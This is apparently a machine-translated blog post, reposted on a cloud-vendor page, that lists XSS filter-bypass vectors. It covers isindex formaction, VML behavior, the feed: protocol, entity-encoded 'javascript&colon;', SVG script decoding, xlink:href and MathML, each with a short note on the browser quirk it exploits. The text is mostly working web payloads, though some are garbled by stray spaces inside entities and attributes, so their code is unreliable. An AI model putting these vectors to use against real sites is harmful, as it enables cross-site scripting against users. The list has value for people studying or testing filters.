Xss funny vector review

Source: Internet
Author: User

<Isindex formaction = javascript: alert (/sogili/) type = submit>
HTML3 and html5.
X <oval style = behavior: url (# default # vml); height = 00; width = 00 href = javascript: alert (/sogili/) fillcolor = red xmlns =/>
Labels in ie vml.
<A href = "feed: javascript: alert (/sogili/)"> click </a>
This is caused by the improper handling of the feed protocol by Firefix. It is not A bug, but it is A good way to bypass the Protocol detection of the tag.
<A href = "javascript & colon; alert (/sogili/)"> click </a>
Attackers can bypass many xss filters, but IE does not support this entity character.
<Svg> <script> & #97 & #08; & #0; & #4 & #6 & #40 & #49; & # x29; </script>
When parsing a script, SVG decodes its internal entity characters.
<Svg> <script/xlink: href = data:, alert ()> </script>
When using external scripts in SVG, The xlink: href attribute is used instead of src.
<Svg> <a xlink: href = "javascript: alert ()" href = "// www.2cto.com"> </a>
The xlink: href attribute used by SVG to parse the hyperlink address of tag A, so href does not take effect.
<Math xlink: href = "javascript: alert ()"> xxx </math>
Math, new tag, and implementation of MathML specifications. Currently, only firefox is implemented.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.